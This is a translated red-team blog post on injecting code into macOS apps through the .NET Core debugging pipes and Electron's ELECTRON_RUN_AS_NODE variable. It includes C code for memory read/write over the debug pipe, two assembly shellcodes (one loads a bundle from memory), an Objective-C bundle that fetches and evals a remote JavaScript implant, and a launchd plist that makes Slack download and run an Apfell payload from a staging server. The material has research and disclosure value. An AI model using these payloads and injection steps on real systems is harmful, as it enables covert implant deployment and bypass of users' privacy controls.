概述
在加入了TrustedSec AETR团队以来,我花了一些时间研究macOS环境下的Tradecraft。遗憾的是,对于攻击方来说,与Windows相比,针对macOS环境的攻击难度越来越大。随着隐私保护、沙箱和大量的权限控制,攻击者难以在macOS设备上放置植入工具。
在杀伤链(Killchain)的后漏洞利用(post-exploitation)中,进程注入是一种重要的方式,Apple也花费了巨大的努力去防范这种方式。从历史上来看,我们以前可以在目标进程上调用task_for_pid,检索其Mach端口,并执行mach_vm_以分配和读取/写入内存。而今天,这些API已经受到严格的限制,只有root用户才能调用这些函数。也就是说,只要二进制文件没有使用Hardened Runtime,并且目标不是Apple签名的二进制文件,那么即使是root用户,也不能查看其内存。
在这篇文章中,我们将介绍一些利用第三方技术实现代码注入的有趣方法。对我们来说,这种方式可以转换为在目标应用程序的上下文中运行代码,而无需再致力于禁用系统完整性保护(SIP)。
请注意:本文中分析的两种技术都不是特定于macOS的,它们也可以在Linux和Windows系统上实现,但是由于Apple对进程注入进行了限制,所以本文重点放在了对macOS的影响上。
首先,让我们看看所有人都应该熟悉的技术——.NET Core。
NET Core
Microsoft的.NET Core框架是一种流行的跨平台运行时和软件开发套件(SDK),可以使用我们熟知的.NET语言开发应用程序。由.NET Core运行时提供支持的最受欢迎的应用程序之一就是PowerShell的跨平台版本,我们将以它作为最开始的测试平台。
为了展示我们在尝试macOS注入过程中所面临的复杂性,我们首先演示通过task_for_pid API进行注入的传统方式。一种简单的方法是使用:
- kern_return_t kret;
- mach_port_t task;
- kret = task_for_pid(mach_task_self(), atoi(argv[1]), &task);
- if (kret!=KERN_SUCCESS)
- {
- printf("task_for_pid() failed: %s!\n",mach_error_string(kret));
- } else {
- printf("task_for_pid() succeeded\n");
- }
当针对目标PowerShell进程运行时,我们得到了预期的错误提示。
无法检索PowerShell的任务端口:
接下来,我们尝试以root身份运行。尝试对没有Hardened Runtime标志的应用程序进行测试,得到了正常的结果。
以root用户身份成功获取PowerShell的任务端口:
但是,一旦我们开始使用Hardened Runtime标志签名的应用程序,就会遇到相同的错误。
在加固后进程中不能以root用户身份获得任务端口:
如果我们使用lldb之类的东西,而它拥有com.apple.security.cs.debugger的强大功能,会发生什么?当非root用户尝试访问未加固的进程时,我们取得了一些进展,但是这时也出现了一个对话框,警告我们存在的目标,这实际上就有些影响隐蔽性了。
请求调试权限时向用户显示的对话框:
再次,我们以root用户身份运行lldb,也无法使用Hardened Runtime调试进程。
调试器无法以root用户身份附加到加固后的进程:
总之,这意味着,只有在我们以root用户,且未使用Hardened Runtime标志对进程进行签名的情况下,才可以注入.NET Core进程。
既然如此,Apple的API现在对我们来说就毫无用处,我们在没有一个理想的漏洞的情况下,还能怎样去控制目标.NET Core进程呢?为了理解这一点,我们应该更深入分析一下运行时的源代码,可以在这里找到:https://github.com/dotnet/runtime 。
NET Core调试
让我们从头开始,尝试了解诸如Visual Studio Code这样的调试器是如何与.NET Core进程进行交互的。
查看dbgtransportsession.cpp中的.NET Core源代码,可以发现这部分代码负责处理调试器与调试内容的通信,在函数DbgTransportSession::Init中创建了一系列命名管道。
对于macOS(和*nix),这些管道是使用以下代码创建的FIFO命名管道:
- if (mkfifo(m_inPipeName, S_IRWXU) == -1)
- {
- return false;
- }
- unlink(m_outPipeName);
- if (mkfifo(m_outPipeName, S_IRWXU) == -1)
- {
- unlink(m_inPipeName);
- return false;
- }
为进行分析,我们可以启动PowerShell,并看到在当前用户的$TMPDIR内创建了两个命名管道,其名称为PID,并带有in或out的后缀。
.NET Core创建用于调试的命名管道:
在了解命名管道的位置和目的后,我们如何与目标进程进行通信?答案位于方法DbgTransportSession::TransportWorker之中,该方法负责处理来自调试器的传入连接。
阅读代码,我们发现调试器要做的第一件事是创建一个新的调试会话。这是通过以MessageHeader结构开头的out管道发送消息来完成的,这部分可以从.NET源代码中看到:
- struct MessageHeader
- {
- MessageType m_eType; // Type of message this is
- DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
- DWORD m_dwId; // Message ID assigned by the sender of this message
- DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
- DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue) DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and // never read) union {
- struct {
- DWORD m_dwMajorVersion; // Protocol version requested/accepted
- DWORD m_dwMinorVersion;
- } VersionInfo;
- ...
- } TypeSpecificData;
- BYTE m_sMustBeZero[8];
- }
对于新的会话请求,该结构填充如下:
- static const DWORD kCurrentMajorVersion = 2;
- static const DWORD kCurrentMinorVersion = 0;
- // Set the message type (in this case, we're establishing a session)
- sSendHeader.m_eType = MT_SessionRequest;
- // Set the version
- sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
- sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
- // Finally set the number of bytes which follow this header
- sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
构造完成后,我们使用write syscall将其发送到目标:
- write(wr, &sSendHeader, sizeof(MessageHeader));
在标头之后,我们需要发送一个sessionRequestData结构,该结构包含一个用于标识会话的GUID:
- // All '9' is a GUID.. right?
- memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
- // Send over the session request data
- write(wr, &sDataBlock, sizeof(SessionRequestData));
在发送完成会话请求后,我们从out管道中读取一个标头,该标头将指调试器会话是否成功:
- read(rd, &sReceiveHeader, sizeof(MessageHeader));
在这一阶段,我们已经与目标建立了调试器会话。接下来,就可以与目标进程进行通信了,那么我们可以使用哪些功能呢?通过查看运行时公开的消息类型,可以找到两个值得关注的原语,分别是MT_ReadMemory和MT_WriteMemory。
这些消息完全符合我们的预期,可以让我们读取和写入目标进程的内存。这里需要考虑的是,我们可以在典型的macOS API调用之外读取和写入内存,从而为我们提供了.NET Core进程内存的后门。
让我们开始尝试从目标进程中读取一些内存。与会话创建一样,我们首先制作标头:
- // We increment this for each request
- sSendHeader.m_dwId++;
- // This needs to be set to the ID of our previous response
- sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
- // Similar to above, this indicates which ID we are responding to
- sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
- // The type of request we are making
- sSendHeader.m_eType = MT_ReadMemory;
- // How many bytes will follow this header
- sSendHeader.m_cbDataBlock = 0;
但是,这一次,我们还提供了一个希望从目标读取的地址:
- // Address to read from
- sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr;
- // Number of bytes to read
- sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len;
我们可以借助下面的方法,分配一些非托管内存,来针对PowerShell进行尝试:
- [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi("HAHA, MacOS be protectin' me!")
可以使用概念证明(POC)代码轻松读取此内存。
从PowerShell中转储内存:
当然,通过使用命令覆盖内存注入PowerShell,我们也可以实现相反的操作。
将内存注入PowerShell:
用于执行此操作的POC代码请参考: https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5 。
NET Core代码执行
之前我们聚焦于如何将代码注入到PowerShell中,接下来要解决的问题是,如何将读写原语转换为代码执行?这里还需要考虑到,我们没有更改内存保护的能力,所以如果要引入类似Shellcode的内容,只能写入标记为可写和可执行的内存页面。
在这种情况下,我们有几种选择,作为简单的概念证明来说,首先可以确定内存的RWX页面,并在其中托管我们的Shellcode。Apple限制了我们遍历远程进程地址空间的能力。但是,我们实际上还可以访问vmmap,其中包含了很多权限,也包括用于访问目标Mach端口的com.apple.system-task-ports。
在PowerShell中执行vmmap -p [PID],可以看到很多适合托管代码的内存区域,下面以rwx/rwx权限突出显示。
使用vmmap识别内存的RWX页面:
既然我们知道了将Shellcode注入的地址,我们就需要找到一个可以写入的位置,来触发代码执行。函数指针是一个比较理想的位置,不用太长时间就可以发现许多理想的目标。我们用到的一个方法是覆盖动态函数表(DFT)中的指针,.NET Core运行时使用该指针为JIT编译提供帮助函数。可以在jithelpers.h中找到支持的函数指针的列表。
查找指向DFT的指针实际上很简单,我们可以使用类似于mimikatz的签名搜寻技术来搜索libcorclr.dll,以查找对符号_hlpDynamicFuncTable的引用,随后取消引用。
生成搜寻_hlpDynamicFuncTable符号签名的指令:
接下来要做的,就是找到一个地址,从该地址开始进行签名搜索。为此,我们利用了另一个公开的调试器函数MT_GetDCB。这将会返回有关目标进程的许多有用信息,但是对我们来说,我们关注的是返回的字段,字段中包含帮助函数的地址m_helperRemoteStartAddr。通过这个地址,就可以知道libcorclr.dll在目标进程内存中的位置,并且可以开始搜索DFT。
现在,我们已经拥有了注入和执行代码所需的所有内容,可以尝试将一些Shellcode写入内存的RWX页面,并通过DFT传输代码执行。我们使用的Shellcode非常简单,只需要在PowerShell提示符中显示一条消息,然后再将执行返回给CLR(以防止崩溃)即可:
- [BITS 64]
- section .text
- _start:
- ; Avoid running multiple times
- cmp byte [rel already_run], 1
- je skip
- ; Save our regs
- push rax
- push rbx
- push rcx
- push rdx
- push rbp
- push rsi
- push rdi
- ; Make our write() syscall
- mov rax, 0x2000004
- mov rdi, 1
- lea rsi, [rel msg]
- mov rdx, msg.len
- syscall
- ; Restore our regs
- pop rdi
- pop rsi
- pop rbp
- pop rdx
- pop rcx
- pop rbx
- pop rax
- mov byte [rel already_run], 1
- skip:
- ; Return execution (patched in later by our loader)
- mov rax, 0x4141414141414141
- jmp rax
- msg: db 0xa,0xa,'WHO NEEDS AMSI?? ;) Injection test by @_xpn_',0xa,0xa
- .len: equ $ - msg
- already_run: db 0
编写完成上述Shellcode之后,我们将所有这些组合在一起,看看执行过程究竟如何。
演示视频:https://youtu.be/KqTIrB_WUgA
用于注入Shellcode的完整POC代码请参考: https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6 。
Hardened Runtime是否能防范攻击
现在,我们可以注入到.NET Core进程中,还剩下一个明显的问题,就是Hardened Runtime是否可以阻止这种情况?根据我们的分析,设置Hardened Runtime标志不会对暴露给我们的调试管道产生影响,这意味着Hardened Runtime标志签名的应用程序仍然会暴露上述IPC调试函数,该函数正是要实现注入所必须的。
举例来说,我们看一下另一个经过签名,并启用了Hardened Runtime标志的知名应用程序Fiddler。
与Fiddler应用程序相关联的Hardened Runtime标志:
在这里,我们找到了Hardened Runtime标志集,但是,启动应用程序仍然会导致创建调试管道。
在使用Hardened Runtime的状态下Fiddler创建的命名管道:
尝试向Fiddler中注入一些Shellcode,以确保一切正常。这次,我们使用的是Cody Thomas的Mythic框架,将其中的Apfell植入工具注入到目标进程中。
有几种方法可以选择,但是为了简单起见,我们使用wNSCreateObjectFileImageFromMemory方法从磁盘加载Bundle:
- [BITS 64]
- NSLINKMODULE_OPTION_PRIVATE equ 0x2
- section .text
- _start:
- cmp byte [rel already_run], 1
- je skip
- ; Update our flag so we don't run every time
- mov byte [rel already_run], 1
- ; Store registers for later restore
- push rax
- push rbx
- push rcx
- push rdx
- push rbp
- push rsi
- push rdi
- push r8
- push r9
- push r10
- push r11
- push r12
- push r13
- push r14
- push r15
- sub rsp, 16
- ; call malloc
- mov rdi, [rel BundleLen]
- mov rax, [rel malloc]
- call rax
- mov qword [rsp], rax
- ; open the bundle
- lea rdi, [rel BundlePath]
- mov rsi, 0
- mov rax, 0x2000005
- syscall
- ; read the rest of the bundle into alloc memory
- mov rsi, qword [rsp]
- mov rdi, rax
- mov rdx, [rel BundleLen]
- mov rax, 0x2000003
- syscall
- pop rdi
- add rsp, 8
- ; Then we need to start loading our bundle
- sub rsp, 16
- lea rdx, [rsp]
- mov rsi, [rel BundleLen]
- mov rax, [rel NSCreateObjectFileImageFromMemory]
- call rax
- mov rdi, qword [rsp]
- lea rsi, [rel symbol]
- mov rdx, NSLINKMODULE_OPTION_PRIVATE
- mov rax, [rel NSLinkModule]
- call rax
- add rsp, 16
- lea rsi, [rel symbol]
- mov rdi, rax
- mov rax, [rel NSLookupSymbolInModule]
- call rax
- mov rdi, rax
- mov rax, [rel NSAddressOfSymbol]
- call rax
- ; Call our bundle exported function
- call rax
- ; Restore previous registers
- pop r15
- pop r14
- pop r13
- pop r12
- pop r11
- pop r10
- pop r9
- pop r8
- pop rdi
- pop rsi
- pop rbp
- pop rdx
- pop rcx
- pop rbx
- pop rax
- ; Return execution
- skip:
- mov rax, [rel retaddr]
- jmp rax
- symbol: db '_run',0x0
- already_run: db 0
- ; Addresses updated by launcher
- retaddr: dq 0x4141414141414141
- malloc: dq 0x4242424242424242
- NSCreateObjectFileImageFromMemory: dq 0x4343434343434343
- NSLinkModule: dq 0x4444444444444444
- NSLookupSymbolInModule: dq 0x4545454545454545
- NSAddressOfSymbol: dq 0x4646464646464646
- BundleLen: dq 0x4747474747474747
- ; Path where bundle is stored on disk
- BundlePath: resb 0x20
我们利用加载的Bundle来实现JXA执行:
- #include #include #import #import
- void threadStart(void* param) {
- OSAScript *scriptNAME= [[OSAScript alloc] initWithSource:@"eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://127.0.0.1:8111/apfell-4.js')), $.NSUTF8StringEncoding)));" language:[OSALanguage languageForName:@"JavaScript"] ];
- NSDictionary * errorDict = nil;
- NSAppleEventDescriptor * returnDescriptor = [scriptNAME executeAndReturnError: &errorDict];
- }
- int run(void) {
- #ifdef STEAL_THREAD
- threadStart(NULL);
- #else
- pthread_t thread;
- pthread_create(&thread, NULL, &threadStart, NULL);
- #endif
- }
如果我们现在按照针对Fiddler的.NET Core WebUI流程执行与之前完全相同的步骤,来实现代码注入,一切顺利的话,就可以将Apfell植入工具注入加固后的进程中,并派生出植入工具。
演示视频:https://youtu.be/-e4OrX2nmeY
用于注入Apfell植入工具的POC代码: https://gist.github.com/xpn/ce5e085b0c69d27e6538179e46bcab3c。
好了,现在我们看到了运行时这些隐藏函数的实用性,但这是.NET Core的个例吗?事实证明,不是。我们接下来看一下App Store里面的另一个框架——Electron。
劫持Electron
众所周知,Electron是一个框架,可以用于将Web应用程序移植到桌面,同时能够安全地存储RAM,供后续需要时使用。
那么,我们如何才能在经过签名和加固后的Electron应用程序中执行代码?这里就要引入环境变量——ELECTRON_RUN_AS_NODE。
这个环境变量是将Electron应用程序转换为常规的旧NodeJS REPL所需要的全部。例如,我们从App Store中获取一个流行的应用程序(例如Slack),并在设置了ELECTRON_RUN_AS_NODE环境变量的情况下启动该进程:
这也适用于Visual Studio Code:
Discord...
甚至是BloodHound:
我本来以为这些是0-day,但实际上已经在文档中发布过( https://www.electronjs.org/docs/api/environment-variables#electron_run_as_node )。
那么,这对于我们来说意味什么?同样,在macOS环境中,这意味着,如果我们对某个应用程序感兴趣,或者允许针对Electron应用程序使用隐私控制,那么就可以在带有ELECTRON_RUN_AS_NODE环境变量的情况下执行签名和加固的进程,然后将NodeJS代码传递并执行。
我们以Slack为例,尝试利用该应用程序通常允许的桌面、文档等区域的访问,来解决TCC问题。在macOS中,子进程将继承父进程的TCC权限,因此这意味着我们可以使用NodeJS生成子进程(例如Apfell的植入程序),该子进程将继承用户授予的所有隐私设置允许的项目。
为此,我们将使用launchd通过以下plist生成Electron进程:
- < ?xml version="1.0" encoding="UTF-8"? >< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd >< plist version="1.0" >< dict >
- < key >EnvironmentVariables < /key >
- < dict >
- < key > ELECTRON_RUN_AS_NODE < /key >
- < string > true < /string >
- < /dict >
- < key > Label < /key >
- < string > com.xpnsec.hideme < /string >
- < key > ProgramArguments < /key >
- < array >
- < string > /Applications/Slack.app/Contents/MacOS/Slack < /string >
- < string > -e < /string >
- < string > const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]); < /string >
- < /array >
- < key > RunAtLoad < /key >
- < true/ >< /dict >< /plist >
然后,我们可以启动任务,加载plist并使用ELECTRON_RUN_AS_NODE环境变量启动Slack,通过OSAScript执行Apfell:
- launchctl load /tmp/loadme.plist
如果一切顺利,我们将按照预期返回到Shell。
Apfell植入工具返回到Mythic框架:
通常,在这里,当我们请求~/Downloads之类的内容时,大家可能担心会向用户显示隐私提示,但实际上,由于现在是Slack的子进程,因此可以使用其继承的隐私权限。
演示视频:https://youtu.be/1_3Q00-c_JA 。
当然,如果攻击者在未获得许可的情况下请求访问任何内容,我们可以让合法应用来背这个锅:
当加载Apfell植入工具请求访问时,显示的TCC对话框:
现在,我们就已经掌握了几种利用第三方架公开的功能来解决macOS进程注入限制的方法。这种注入技术适用于大量应用程序,考虑到Apple在macOS系统中不断加强的限制,这种效果也令人惊讶。我们希望,通过展示这种技术,可以帮助一些红队成员更好地实现macOS后漏洞利用的注入环节。
本文翻译自:https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/如若转载,请注明原文地址。
本文转载自网络,原文链接:https://www.4hou.com/posts/n8yD